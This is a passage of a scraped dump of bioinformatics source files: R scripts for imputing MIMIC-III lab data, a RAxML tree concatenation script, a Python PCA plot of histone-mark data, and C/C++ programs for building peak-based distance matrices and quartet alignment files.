h[['t']]\ntnagt.tr = h[['tna']]\nnaidx.tr = h[['naidx']]\n\n# names(tgt.tr) = as.character(1:length(tgt.tr))\n# names(tnagt.tr) = as.character(1:length(tnagt.tr))\n\nfor (i in names(tgt.tr)) {\n dnout = sprintf('%s/train_groundtruth', dn)\n fn = sprintf('%s/%s.csv', dnout, i)\n write.csv(tgt.tr[[i]], file=fn, quote=F, row.names=F)\n}\n\nfor (i in names(tnagt.tr)) {\n dnout = sprintf('%s/train_with_missing', dn)\n fn = sprintf('%s/%s.csv', dnout, i)\n write.csv(tnagt.tr[[i]], file=fn, quote=F, row.names=F)\n}\n\nwrite.table(names(tgt.tr), file=sprintf('%s/pts.tr.csv', dn), row.names=F, col.names=F, quote=F)\nwrite.csv(naidx.tr, file=sprintf('%s/naidx.tr.csv', dn), quote=F)\n\n## test\nh = maskPtTensorImport(t.trte[['te']], fncf=fncf)\ntgt.te = h[['t']]\ntnagt.te = h[['tna']]\nnaidx.te = h[['naidx']]\n\n# names(tgt.te) = as.character(1:length(tgt.te))\n# names(tnagt.te) = as.character(1:length(tnagt.te))\n\nfor (i in names(tgt.te)) {\n dnout = sprintf('%s/test_groundtruth', dn)\n fn = sprintf('%s/%s.csv', dnout, i)\n write.csv(tgt.te[[i]], file=fn, quote=F, row.names=F)\n}\n\nfor (i in names(tnagt.te)) {\n dnout = sprintf('%s/test_with_missing', dn)\n fn = sprintf('%s/%s.csv', dnout, i)\n write.csv(tnagt.te[[i]], file=fn, quote=F, row.names=F)\n}\n\nwrite.table(names(tgt.te), file=sprintf('%s/pts.te.csv', dn), row.names=F, col.names=F, quote=F)\nwrite.csv(naidx.te, file=sprintf('%s/naidx.te.csv', dn), quote=F)\n" }, { "alpha_fraction": 0.47662994265556335, "alphanum_fraction": 0.49657636880874634, "avg_line_length": 56.41880416870117, "blob_id": "1e485fad0bbca1e0cbd400f564579785ef6a65e1", "content_id": "d852cf6ec91b25d98f187292669e15d4facb257c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 6718, "license_type": "permissive", "max_line_length": 156, "num_lines": 117, "path": "/src/labView.R", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "labView <- function(suid, dups=NULL) {\n ## suid = 21144\n library(hash)\n source('facToStr.R')\n source('mimicConfig.R')\n dnld = sprintf('%s/perSubj/LabData', dn)\n dnlv = sprintf('%s/perSubj/LabView', dn)\n idx = c('CHARTTIME', 'HADM_ID')\n vnp = c(idx, 'ITEMID', 'VALUENUM') # value number projection\n vcp = c(idx, 'ITEMID', 'VALUE')\n ## Some variables are recorded as NA, this is potentially different from non-recorded variables. For now, I treated them as same.\n vars = c('PCL', 'PK', 'PLCO2', 'PNA', 'HCT', 'HGB', 'MCV', 'PLT', 'WBC', 'RDW', 'PBUN', 'PCRE', 'PGLU') # 'Lactate', \n cat(sprintf('%s\\n', suid))\n fnld = sprintf('%s/ld_%s.RData', dnld, suid)\n\n if (file.exists(fnld)) {\n load(fnld); ld = facToStr(ld)\n if (dim(ld)[1]>1) {\n cat(sprintf('#adm: %d\\n', length(unique(ld$HADM_ID))))\n cts = unique(ld[,idx])\n ctsc = as.character(unique(ld[,'CHARTTIME']))\n if (dim(cts)[1]==length(ctsc)) {\n cts2 = cts\n for (i in 1:dim(cts)[1]) {\n ct = cts[i,]\n if (grepl('01:00:00', ct$CHARTTIME)) {\n cta = ct\n cta[,'CHARTTIME'] = gsub('01:00:00', '03:00:00', ct$CHARTTIME)\n if (!(cta$CHARTTIME %in% cts2$CHARTTIME)) {\n cts2 = rbind(cts2, cta)\n }\n }\n }\n lv = cts2[order(cts2$CHARTTIME),]\n ## select itemid, count(*) c from labevents where itemid in (select itemid from d_labitems where label like '%chloride%') group by itemid;\n PCL = ld[!is.na(ld$ITEMID) & !is.na(ld$VALUENUM) & ld$ITEMID==50902, vnp]\n ## select itemid, count(*) c from labevents where itemid in (select itemid from d_labitems where label like '%potassium%') group by itemid;\n PK = ld[!is.na(ld$ITEMID) & !is.na(ld$VALUENUM) & ld$ITEMID==50971, vnp]\n ## select itemid, count(*) c from labevents where itemid in (select itemid from d_labitems where label like '%bicarb%') group by itemid;\n PLCO2 = ld[!is.na(ld$ITEMID) & !is.na(ld$VALUENUM) & ld$ITEMID==50882, vnp]\n ## select itemid, count(*) c from labevents where itemid in (select itemid from d_labitems where label like '%sodium%') group by itemid;\n PNA = ld[!is.na(ld$ITEMID) & !is.na(ld$VALUENUM) & ld$ITEMID==50983, vnp]\n ## select itemid, count(*) c from labevents where itemid in (select itemid from d_labitems where label like '%hematocrit%') group by itemid;\n ## didn't include calculated\n HCT = ld[!is.na(ld$ITEMID) & !is.na(ld$VALUENUM) & ld$ITEMID==51221, vnp]\n ## select itemid, count(*) c from labevents where itemid in (select itemid from d_labitems where label like '%hemoglobin%') group by itemid;\n ## didn't include blood gas\n HGB = ld[!is.na(ld$ITEMID) & !is.na(ld$VALUENUM) & ld$ITEMID==51222, vnp] \n MCV = ld[!is.na(ld$ITEMID) & !is.na(ld$VALUENUM) & ld$ITEMID==51250, vnp]\n ## select itemid, count(*) c from labevents where itemid in (select itemid from d_labitems where label like '%platelet%') group by itemid;\n ## didn't include platelet smear\n PLT = ld[!is.na(ld$ITEMID) & !is.na(ld$VALUENUM) & ld$ITEMID==51265, vnp]\n ## select itemid, count(*) c from labevents where itemid in (select itemid from d_labitems where label like '%white%') group by itemid;\n ## use 51516 instead of 51300\n WBC = ld[!is.na(ld$ITEMID) & !is.na(ld$VALUENUM) & ld$ITEMID==51301, vnp] \n RDW = ld[!is.na(ld$ITEMID) & !is.na(ld$VALUENUM) & ld$ITEMID==51277, vnp]\n ## select itemid, count(*) c from labevents where itemid in (select itemid from d_labitems where label like '%urea%') group by itemid;\n PBUN = ld[!is.na(ld$ITEMID) & !is.na(ld$VALUENUM) & ld$ITEMID==51006, vnp]\n ## select itemid, count(*) c from labevents where itemid in (select itemid from d_labitems where label like '%creatinine%') group by itemid;\n ## didn't include urine creatinine\n PCRE = ld[!is.na(ld$ITEMID) & !is.na(ld$VALUENUM) & ld$ITEMID==50912, vnp]\n ## select itemid, count(*) c from labevents where itemid in (select itemid from d_labitems where label like '%glucose%') group by itemid;\n PGLU = ld[!is.na(ld$ITEMID) & !is.na(ld$VALUENUM) & ld$ITEMID==50931, vnp]\n\n for (vn in vars) {\n var = eval(parse(text=vn)) # get var content from the name\n colnames(var) = c(idx, 'ITEMID', vn)\n varp = unique(var[,c(idx, vn)])\n var = var[rownames(varp),]\n var = facToStr(var)\n \n ## clean duplicates w.r.t. daylight saving time\n cts = var$CHARTTIME\n cts = cts[grepl('01:00:00', cts)]\n tabt = table(cts)\n tabt = tabt[tabt>1]\n for (ct in names(tabt)) {\n if (tabt[ct]==2) {\n ctrp = gsub('01:00:00', '03:00:00', ct)\n\n rowid = max(rownames(var[stt.sel,]))\n cat(sprintf('%s duplicately for %s in %s, picked %s\\n', ct, vn, suid, rowid))\n var[rownames(var)==rowid,] = ctrp\n\n cat(sprintf('changed %s for %s in %s\\n', ct, vn, suid))\n }\n }\n\n ## detect duplicates wo cleaning, \n var = unique(var[,c(idx, vn)])\n tabt = table(var$CHARTTIME)\n tabt = tabt[tabt>1]\n if (length(tabt)>0) {\n cat(sprintf('duplicate in %s for %s\\n', vn, suid))\n print(tabt)\n if (!is.null(dups)) {\n dups[[sprintf('%s',suid)]] = 1\n }\n }\n \n lv = merge(lv, var, all.x=T)\n }\n lv = lv[rowSums(is.na(lv[,vars]))<length(vars),] #select non-empty rows\n fnlv = sprintf('%s/lv_%s.RData', dnlv, suid)\n save(lv, file=fnlv)\n }else {\n cat(sprintf('time adm assoc abnorm for %s\\n', suid))\n lv = NA\n }\n }else {\n lv = NA\n }\n }else {\n lv = NA\n }\n return (lv)\n}\n" }, { "alpha_fraction": 0.6813187003135681, "alphanum_fraction": 0.6813187003135681, "avg_line_length": 26.299999237060547, "blob_id": "99d150e85efa0e66d40d613e246cf3889dc0100f", "content_id": "563f7c84a46d263145f449354b767dd509814893", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 273, "license_type": "permissive", "max_line_length": 65, "num_lines": 10, "path": "/src/labViewGenSeq.R", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "library(hash)\nsource('mimicConfig.R')\nsource('labView.R')\nsubjs = read.csv(sprintf('%s/PATIENTS.csv', dn))\nsuids = unique(subjs$SUBJECT_ID)\ndups = hash()\nfor (suid in suids) {\n cv = labView(suid, dups)\n}\ncat(paste(keys(dups), collapse=\"\\n\"), file='lvgen_duplicate.txt')\n" }, { "alpha_fraction": 0.6191588640213013, "alphanum_fraction": 0.6214953064918518, "avg_line_length": 29.5, "blob_id": "64bfbaa7ea730d98ac27c5e0b21827a82de2db13", "content_id": "30ec17e0fca6417567a6cad6d07a467027b49af4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 428, "license_type": "permissive", "max_line_length": 90, "num_lines": 14, "path": "/dacmi_challenge_code_and_data/code/evalChallengeTest.R", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "evalChallengeTest <- function(tgt, naidx, dnimp) {\n source('evalPtTensorImpImportTrTeChallenge.R')\n\n timp = list()\n for (i in pts.te) {\n fn = sprintf('%s/%d.csv', dnimp, i)\n timp[[i]] = t(read.csv(fn))\n }\n names(timp) = as.character(1:length(timp))\n\n nrmse = evalPtTensorImpImportTrTeChallenge(timp, tgt, naidx, metric='RMSE range norm')\n cat(sprintf('%s nRMSE\\n', dnimp))\n print(nrmse)\n}\n\n" }, { "alpha_fraction": 0.635095477104187, "alphanum_fraction": 0.6512481570243835, "avg_line_length": 41.5625, "blob_id": "29c06b0b95696555e563cb9ce40a3f7dcbaba2f2", "content_id": "fb1a8045db88380372d2e817c2249aeb0e3f1f99", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 1362, "license_type": "permissive", "max_line_length": 140, "num_lines": 32, "path": "/src/mimicConfig.R", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "dn = '/home/shared_data/mimic3'\n\ndnce = sprintf('%s/perSubj/ChartEvents', dn)\ndncd = sprintf('%s/perSubj/ChartData', dn)\ndnlv = sprintf('%s/perSubj/LabView', dn)\ndnlvc = sprintf('%s/perSubj/LabViewCase', dn)\ntests = c('PCL', 'PK', 'PLCO2', 'PNA', 'HCT', 'HGB', 'MCV', 'PLT', 'WBC', 'RDW', 'PBUN', 'PCRE', 'PGLU')\n\ndnraw = sprintf('%s/perSubj/LabViewCase', dn)\ndnval= sprintf('%s/gpml/validation/gpml_raw_sample_0.01', dn)\ntests = c('PCL', 'PK', 'PLCO2', 'PNA', 'HCT', 'HGB', 'MCV', 'PLT', 'WBC', 'RDW', 'PBUN', 'PCRE', 'PGLU')\ndndata = sprintf('%s/imp_data', dn)\nfnptads = sprintf('%s/lvcase.csv', dn)\nfnwptads = sprintf('%s/gpml/stgp_warning_ptads.csv', dn)\nfnptads.val = sprintf('%s/lvcase_val.csv', dn)\n\nfntr.tmp = sprintf('%s/lvcase_spl_val_tr_%%s.csv', dn)\nfnte.tmp = sprintf('%s/lvcase_spl_val_te_%%s.csv', dn)\n\nfnlog.tmp = sprintf('%s/micegp_log/%%s_output_iter%%s.RData', dn)\nfnres.tmp = sprintf('%s/micegp_log/%%s_res_iter%%s.RData', dn)\nfnkm.tmp = sprintf('%s/micegp_log/%%s_km_iter%%s.RData', dn)\n\nfntensor = sprintf('%s/imp_data/ptt.RData', dn)\n\nrtrte=0.5\n\ntimeidx = 'CHARTTIME'\n\ngpn.thr = 10; # 4 need at least 3 points to realibly estimate GP\nrna.thr = 6; # needs at least some values for cross correlation\n## under this setting, try to estimate the prob. of all missingness happen on the same variable, 1/len(ts)^4*len(ts) = 1/len(ts)^3 <= 1/1000\n" }, { "alpha_fraction": 0.6323232054710388, "alphanum_fraction": 0.6383838653564453, "avg_line_length": 28.058822631835938, "blob_id": "3de58b927de5db9911e91fcc5faf1c645285811d", "content_id": "66103d91dc4d5ac70b50088c9a86e9c1f15453da", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 495, "license_type": "permissive", "max_line_length": 83, "num_lines": 17, "path": "/src/batchEvalChallengeTest.R", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "source('evalChallengeTest.R')\nsource('mimicConfig.R')\npts.te = read.csv(sprintf('%s/pts.te.csv', dn), header=F)[,1]\n\n## load(sprintf('%s/tgt.RData', dn))\ntgt = list()\ndn.tgt = sprintf('%s/test_groundtruth', dn)\nfor (i in pts.te) {\n fn = sprintf('%s/%d.csv', dn.tgt, i)\n tgt[[i]] = read.csv(fn)\n}\n# names(tgt) = as.character(1:length(tgt))\n\nnaidx = read.csv(sprintf('%s/naidx.te.csv', dn), stringsAsFactors=F, row.names = 1)\n\n\nevalChallengeTest(tgt, naidx, sprintf('%s/test_results', dn))\n\n" } ]
26
Moumiiiiii/cell-differentiation-trees
https://github.com/Moumiiiiii/cell-differentiation-trees
e94e981d8559b1317af207c910bc56bdaf2b9a10
07b05fed3b64115ce50a781ba786b4e17ad1d66d
e3c5b175165059b7c62388bb2bf6042865956640
refs/heads/master
2023-04-08T11:33:42.594272
2021-04-20T03:17:24
2021-04-20T03:17:24
198,087,677
2
1
null
null
null
null
null
[ { "alpha_fraction": 0.5909090638160706, "alphanum_fraction": 0.6704545617103577, "avg_line_length": 11.571428298950195, "blob_id": "d521d92e857e4d8aacae3a71e618f6c5ac430c8d", "content_id": "5fb20220fef83fd0093eee7f42ae00af865cf09b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 88, "license_type": "no_license", "max_line_length": 40, "num_lines": 7, "path": "/concat_bestTrees.sh", "repo_name": "Moumiiiiii/cell-differentiation-trees", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nfor i in {1..7315}\ndo\n\tcat RAxML_bestTree.July5$i >> input.txt\ndone\nexit 0\n" }, { "alpha_fraction": 0.6497811079025269, "alphanum_fraction": 0.7023139595985413, "avg_line_length": 29.056604385375977, "blob_id": "e839335c6bf91ec22841adbc6b613354e34812b9", "content_id": "7a3ff03d7eaac839e849a2d331b7436dc59a1f26", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1599, "license_type": "no_license", "max_line_length": 87, "num_lines": 53, "path": "/h3k27_1and2_pca.py", "repo_name": "Moumiiiiii/cell-differentiation-trees", "src_encoding": "UTF-8", "text": "import numpy as np\nimport pandas as pd\nfrom sklearn.decomposition import PCA\nimport matplotlib.pyplot as plt\n\ndat = np.loadtxt( 'overlap_datarepresentation_2.txt' )\nprint(len(dat))\nprint(len(dat[0]))\nprint(dat[0,7].astype( np.int ))\n\npca = PCA(n_components=2)\n\nprincipalComponents = pca.fit_transform(dat)\n\nprincipalDf = pd.DataFrame(data = principalComponents\n , columns = ['principal component 1', 'principal component 2'])\n\nprint(len(principalComponents))\nprint(len(principalComponents[0]))\nprint(principalComponents)\n\nx = principalComponents[[4,5,6,7,16],0]\ny = principalComponents[[4,5,6,7,16],1]\nplt.scatter(x,y,label='hESC',color='red')\nx = principalComponents[[2,3,13],0]\ny = principalComponents[[2,3,13],1]\nplt.scatter(x,y,label='blood',color='blue')\nx = principalComponents[[9],0]\ny = principalComponents[[9],1]\nplt.scatter(x,y,label = 'endothelial',color='yellow')\nx = principalComponents[[0],0]\ny = principalComponents[[0],1]\nplt.scatter(x,y,label = 'fibroblast',color='purple')\nx = principalComponents[[1,8,10,11,12,14,15],0]\ny = principalComponents[[1,8,10,11,12,14,15],1]\nplt.scatter(x,y,label='epithelial',color='lime')\n\nplt.legend(loc = 'upper right')\nplt.xlabel(\"PC1 (variance = %.2f%%)\" %(pca.explained_variance_ratio_[0]*100))\nplt.ylabel(\"PC2 (variance = %.2f%%)\" %(pca.explained_variance_ratio_[1]*100))\n\nf=open('file_sequence.txt',\"r\")\nlines=f.readlines()\nannot_list=[]\nfor x in lines:\n annot_list.append(x.split('\t')[1])\nf.close()\n\nfor i in range(0,17):\n plt.annotate(annot_list[i], (principalComponents[i][0], principalComponents[i][1]))\n\n\nplt.show()\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.49184975028038025, "alphanum_fraction": 0.5010630488395691, "avg_line_length": 21.046875, "blob_id": "3bf70f099446c3719c32206d1734d6cd3314dcc2", "content_id": "91cd2b8c7abf404ae3a8dec583ab36a5b284901d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2822, "license_type": "no_license", "max_line_length": 75, "num_lines": 128, "path": "/permutation.cpp", "repo_name": "Moumiiiiii/cell-differentiation-trees", "src_encoding": "UTF-8", "text": "#include<iostream>\n#include<fstream>\n#include<string>\n#include<vector>\n#include<sstream>\n#include <cstdlib>\n#include <algorithm>\nusing namespace std;\n\nstring removeSpaces(string str)\n{\n str.erase(remove(str.begin(), str.end(), ' '), str.end());\n return str;\n}\n\nvector<string> taxa_info;\nint taxa=-1;\nlong long sequence=0;\nlong long countt=1;\nvoid combinationUtil(int data[], int start, int end, int index, int r)\n{\n // Current combination is ready to be printed, print it\n if (index == r)\n {\n stringstream convert;\n convert << countt;\n string post;\n post = convert.str();\n countt++;\n\n string name=\"Quert\"+post+\".phy\";\n const char * c = name.c_str();\n ofstream myfile1;\n myfile1.open (c);\n\n stringstream seq;\n seq << sequence;\n string len;\n len = seq.str();\n\n string line=\"4 \"+len+\"\\n\";\n\n myfile1 << line;\n\n for (int j=0; j<r; j++)\n {\n //printf(\"%d \", data[j]);\n int position=data[j];\n //cout<<position;\n string row=taxa_info.at(position-1);\n //cout<<row.length()<<\"\\n\";\n stringstream headr;\n headr << position;\n string header=\"t\";\n header = header+headr.str()+\" \";\n //cout<<header;\n row=row+\"\\n\";\n header=header+row;\n // cout<<header;\n myfile1<<header;\n //cout<<header<\"\\n\";\n }\n myfile1.close();\n return;\n }\n\n for (int i=start; i<=end && end-i+1 >= r-index; i++)\n {\n data[index] = i+1;\n //if(countt==20){return;}\n combinationUtil( data, i+1, end, index+1, r);\n }\n}\nvoid printCombination(int n, int r)\n{\n int data[r];\n combinationUtil( data, 0, n-1, 0, r);\n}\n\nint main()\n{\n\n string line;\n\n int quert=4;\n int counter=0;\n char delim = ' ';\n int value;\n ifstream myfile (\"overlap_datarepresentation_interesting_regions_c.txt\");\n if (myfile.is_open())\n {\n while ( getline (myfile,line) )\n {\n\n counter++;\n if(counter==1)\n {\n //cout <<\" hv\"<< line<<\" hv\" << '\\n';\n stringstream ss(line);\n string token;\n while (std::getline(ss, token, delim)) {\n //cout<<token<<endl;\n value = std::atoi(token.c_str());\n //cout<<value<<endl;\n if(taxa==-1)\n taxa = value;\n else\n sequence = value;\n }\n }\n else\n {\n string strr=removeSpaces(line);;\n\n taxa_info.push_back(strr);\n }\n }\n myfile.close();\n }\n else cout << \"Unable to open file\";\n //cout<<taxa;\n string len=taxa_info.at(0);\n sequence=len.length();\n cout<<sequence;\n printCombination( taxa, 4);\n\n\n}\n" }, { "alpha_fraction": 0.526516854763031, "alphanum_fraction": 0.5567179322242737, "avg_line_length": 21.389362335205078, "blob_id": "c3492f65aab6fb3211ea72a893df7015b3d32240", "content_id": "d469973e7bdf4f70292208754e521e95a38655c8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 10993, "license_type": "no_license", "max_line_length": 285, "num_lines": 470, "path": "/omcalcDistMatrix.c", "repo_name": "Moumiiiiii/cell-differentiation-trees", "src_encoding": "UTF-8", "text": "#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#include <math.h>\r\n#include <dirent.h>\r\n#include <omp.h>\r\n#include <limits.h>\r\n#include <ctype.h>\r\n//#define NUM_OF_FILES 6\r\n#define NUM_DIGITS 2\r\n#define NUM_OF_CORES 40\r\n#define NUM_CHR 25\r\n#define RES_FILE \"om_distMatrix.txt\"\r\n\r\ntypedef struct elem {\r\n\tint chrno;\r\n\tlong long startPeak, endPeak;\r\n\tstruct elem *next;\r\n} Elem;\r\n\r\ntypedef struct list {\r\n\tlong long size;\r\n\tElem *head, *tail;\r\n} List;\r\n\r\nlong chrLengths [] = {249250621, 243199373, 198022430, 191154276, 180915260, 171115067, 159138663, 146364022, 141213431, 135534747, 135006516, 133851895, 115169878, 107349540, 102531392, 90354753, 81195210, 78077248, 59128983, 63025520, 48129895, 51304566, 155270560, 59373566, 16571};\r\n\r\nlong long *skipChrLengths;\r\nchar **fileNames;\r\n\r\nlong long maxListSize = 0, peakRegionSize;\r\nList **pdata;\r\nElem **pointers;\r\nint **peakRegion;\r\nlong long **distMatrix;\r\nint NUM_OF_FILES;\r\n\r\nvoid initSkipChrLengths() {\r\n\tint i;\r\n\tskipChrLengths = calloc(NUM_CHR, sizeof(long long));\r\n\r\n\tskipChrLengths[0] = 0;\r\n\tfor(i = 1; i < NUM_CHR; i++) {\r\n\t\tskipChrLengths[i] = skipChrLengths[i - 1] + chrLengths[i - 1];\r\n\t}\r\n}\r\n\r\nint findFilePos(const char *fileName) {\r\n\tint i = 0;\r\n\tchar *pos = calloc(NUM_DIGITS, sizeof(char));\r\n\twhile(isdigit(fileName[i])) {\r\n\t\tpos[i] = fileName[i];\r\n\t\ti++;\r\n\t}\r\n\ti = atoi(pos) - 1;\r\n\tfree(pos);\r\n\treturn i;\r\n}\r\n\r\n\r\nvoid initFilenames() {\r\n\tFILE *fp = fopen(\"file_sequence.txt\", \"w\");\r\n\tint i, lens, flag=0;\r\n\tchar *temp;\r\n\tint n, cn=0;\r\n\tDIR *dir = opendir(\".\");\r\n\tfileNames = calloc(NUM_OF_FILES, sizeof(char *));\r\n\tstruct dirent **namelist;\r\n\tn = scandir(\".\", &namelist, 0, alphasort);\r\n\tif (n < 0)\r\n perror(\"scandir\");\r\n\telse {\r\n for (i = 0; i < n; i++) {\r\n\t \ttemp = namelist[i]->d_name;\r\n\t\tlens = strlen(temp);\r\n\t\tif (lens > 4) {\r\n\t\t\tif ( ((temp[lens-4] == '.') && (temp[lens-3] == 'b') && (temp[lens-2] == 'e') && (temp[lens-1] == 'd')) ||\r\n\t\t\t((temp[lens-4] == '.') && (temp[lens-3] == 'B') && (temp[lens-2] == 'E') && (temp[lens-1] == 'D')) )\r\n\t\t\t{\r\n\t\t\t\tfileNames[cn] = calloc(lens+5, sizeof(char));\r\n\t\t\t\tstrcpy(fileNames[cn], temp);\r\n\t\t\t\tprintf(\"filename: %s \\n\", fileNames[cn]);\r\n\t\t\t\tfprintf(fp, \"%d\\t\", cn+1);\r\n\t\t\t\tfprintf(fp, \"%s\\n\", fileNames[cn]);\r\n\t\t\t\tcn = cn + 1;\r\n\t\t\t}\r\n\t }\r\n free(namelist[i]);\r\n }\r\n }\r\n\tfclose(fp);\r\n \t/*for(i = 0; i < NUM_OF_FILES; i++) {\r\n\t\tint pos;\r\n\t\tstruct dirent* file = readdir(dir);\r\n\t\tprintf(\"\\nhere %d\", file->d_name[0]);\r\n\t\tif(!isdigit(file->d_name[0])) {\r\n\t\t\ti--;\r\n\t\t\tcontinue;\r\n\t\t}\r\n\r\n\t\tpos = findFilePos(file->d_name);\r\n\t\tfileNames[pos] = calloc(5 + strlen(file->d_name) + 1, sizeof(char));\r\n\t\t//strcat(fileNames[pos], \"data/\");\r\n\t\tprintf(\"\\n%s\", file->d_name);\r\n\t\tstrcat(fileNames[pos], file->d_name);\r\n\t\tprintf(\"\\n%s\", fileNames[pos]);\r\n\t}*/\r\n\tclosedir(dir);\r\n}\r\n\r\n/*void initFilenames() {\r\n\tint i;\r\n\tDIR *dir = opendir(\"data\");\r\n\tfileNames = calloc(NUM_OF_FILES, sizeof(char *));\r\n\r\n\tfor(i = 0; i < NUM_OF_FILES; i++) {\r\n\t\tint pos;\r\n\t\tstruct dirent* file = readdir(dir);\r\n\t\tif(!isdigit(file->d_name[0])) {\r\n\t\t\ti--;\r\n\t\t\tcontinue;\r\n\t\t}\r\n\r\n\t\tpos = findFilePos(file->d_name);\r\n\t\tfileNames[pos] = calloc(5 + strlen(file->d_name) + 1, sizeof(char));\r\n\t\tstrcat(fileNames[pos], \"data/\");\r\n\t\tstrcat(fileNames[pos], file->d_name);\r\n\t}\r\n\tclosedir(dir);\r\n}*/\r\n\r\nvoid initListsAndMatrices() {\r\n\tint i;\r\n\tpdata = calloc(NUM_OF_FILES, sizeof(List *));\r\n\tpeakRegion = calloc(NUM_OF_FILES, sizeof(int *));\r\n\tpointers = calloc(NUM_OF_FILES, sizeof(Elem *));\r\n\tdistMatrix = calloc(NUM_OF_FILES, sizeof(long long *));\r\n\r\n\tfor(i = 0; i < NUM_OF_FILES; i++) {\r\n\t\tpdata[i] = malloc(sizeof(List));\r\n\t\tpdata[i]->size = 0;\r\n\t\tpdata[i]->head = NULL;\r\n\r\n\t\tdistMatrix[i] = calloc(NUM_OF_FILES, sizeof(long long));\r\n\t}\r\n}\r\n\r\nint stringToInt(char *str, int *pos) {\r\n\tint res = 0;\r\n\twhile(str[*pos] == ' ' || str[*pos] == '\\t') {\r\n\t\t(*pos)++;\r\n\t}\r\n\twhile(isdigit(str[*pos])) {\r\n\t\tres = res * 10 + str[*pos] - '0';\r\n\t\t(*pos)++;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nlong stringToLong(char *str, int *pos) {\r\n\tlong res = 0;\r\n\twhile(str[*pos] == ' ' || str[*pos] == '\\t') {\r\n\t\t(*pos)++;\r\n\t}\r\n\twhile(isdigit(str[*pos])) {\r\n\t\tres = res * 10 + str[*pos] - '0';\r\n\t\t(*pos)++;\r\n\t}\r\n\r\n\tif(str[*pos] == '.') {\r\n\t\tint dec = 0, numDigits = 0;\r\n\t\t(*pos)++;\r\n\r\n\t\twhile(isdigit(str[*pos])) {\r\n\t\t\tnumDigits++;\r\n\t\t\tdec = dec * 10 + str[*pos] - '0';\r\n\t\t\t(*pos)++;\r\n\t\t}\r\n\r\n\t\tif(str[*pos] == 'e') {\r\n\t\t\tint deg;\r\n\t\t\t(*pos)++; (*pos)++;\r\n\t\t\tdeg = stringToInt(str, pos);\r\n\r\n\t\t\tres = res * pow(10, deg) + dec * pow(10, deg - numDigits);\r\n\t\t} else {\r\n\t\t\texit(-1);\r\n\t\t}\r\n\t} else if(str[*pos] == 'e') {\r\n\t\tint deg;\r\n\t\t(*pos)++; (*pos)++;\r\n\t\tdeg = stringToInt(str, pos);\r\n\r\n\t\tres = res * pow(10, deg);\r\n\t}\r\n\r\n\treturn res;\r\n}\r\n\r\nvoid addElemToList(List *l, Elem *newElem) {\r\n\tif(l->head == NULL) {\r\n\t\tl->head = newElem;\r\n\t} else {\r\n\t\tl->tail->next = newElem;\r\n\t}\r\n\tl->tail = newElem;\r\n\t(l->size)++;\r\n}\r\n\r\nvoid createPeaks() {\r\n\tint fileno;\r\n\r\n\tomp_set_num_threads(NUM_OF_CORES);\r\n\t#pragma omp parallel for schedule(static, 1)\r\n\tfor(fileno = 0; fileno < NUM_OF_FILES; fileno++) {\r\n\t\tList *l;\r\n\t\tchar line [100];\r\n\t\tFILE *fp = fopen(fileNames[fileno], \"r\");\r\n\t\tl = pdata[fileno];\r\n\r\n\t\twhile(fgets(line, 100, fp) != NULL) {\r\n\t\t\t//printf(\"%d out of %d \\n\", omp_get_thread_num(), omp_get_num_threads()); fflush(stdout);\r\n\t\t\tint chrno, i = 4, flagM = 0;\r\n\r\n\t\t\tif(line[3] == 'X') {\r\n\t\t\t\tchrno = 23;\r\n\t\t\t} else if(line[3] == 'Y') {\r\n\t\t\t\tflagM = 1;\r\n\t\t\t} else if(line[3] == 'M') {\r\n\t\t\t\tflagM = 1;\r\n\t\t\t} else {\r\n\t\t\t\ti = 3;\r\n\t\t\t\tchrno = stringToInt(line, &i);\r\n\t\t\t}\r\n\r\n\t\t\tif(flagM == 0) {\r\n\t\t\t\tlong long skip;\r\n\t\t\t\tElem *newElem = malloc(sizeof(Elem));\r\n\r\n\t\t\t\tskip = skipChrLengths[chrno - 1];\r\n\r\n\t\t\t\tnewElem->chrno = chrno;\r\n\t\t\t\tnewElem->startPeak = skip + stringToLong(line, &i);\r\n\t\t\t\tnewElem->endPeak = skip + stringToLong(line, &i);\r\n\t\t\t\tnewElem->next = NULL;\r\n\r\n\t\t\t\taddElemToList(l, newElem);\r\n\t\t\t}\r\n\t\t}\r\n\t\tfclose(fp);\r\n\t}\r\n\r\n\tfor(fileno = 0; fileno < NUM_OF_FILES; fileno++) {\r\n\t\tif(pdata[fileno]->size > maxListSize) {\r\n\t\t\tmaxListSize = pdata[fileno]->size;\r\n\t\t}\r\n\t}\r\n\r\n\tfor(fileno = 0; fileno < NUM_OF_FILES; fileno++) {\r\n\t\tpeakRegion[fileno] = calloc(10 * maxListSize, sizeof(int));\r\n\t\tpointers[fileno] = pdata[fileno]->head;\r\n\t}\r\n}\r\n\r\nList **initListOfLists() {\r\n\tint i;\r\n\tList **l = calloc(NUM_OF_FILES, sizeof(List *));\r\n\tfor(i = 0; i < NUM_OF_FILES; i++) {\r\n\t\tl[i] = malloc(sizeof(List));\r\n\t\tl[i]->size = 0;\r\n\t\tl[i]->head = NULL;\r\n\t}\r\n\treturn l;\r\n}\r\n\r\nvoid freeList(List *l) {\r\n\tElem *prev = NULL, *cur = l->head;\r\n\twhile(cur != NULL) {\r\n\t\tprev = cur;\r\n\t\tcur = cur->next;\r\n\t\tfree(prev);\r\n\t}\r\n\tfree(l);\r\n}\r\n\r\nvoid freeListOfLists(List **l) {\r\n\tint 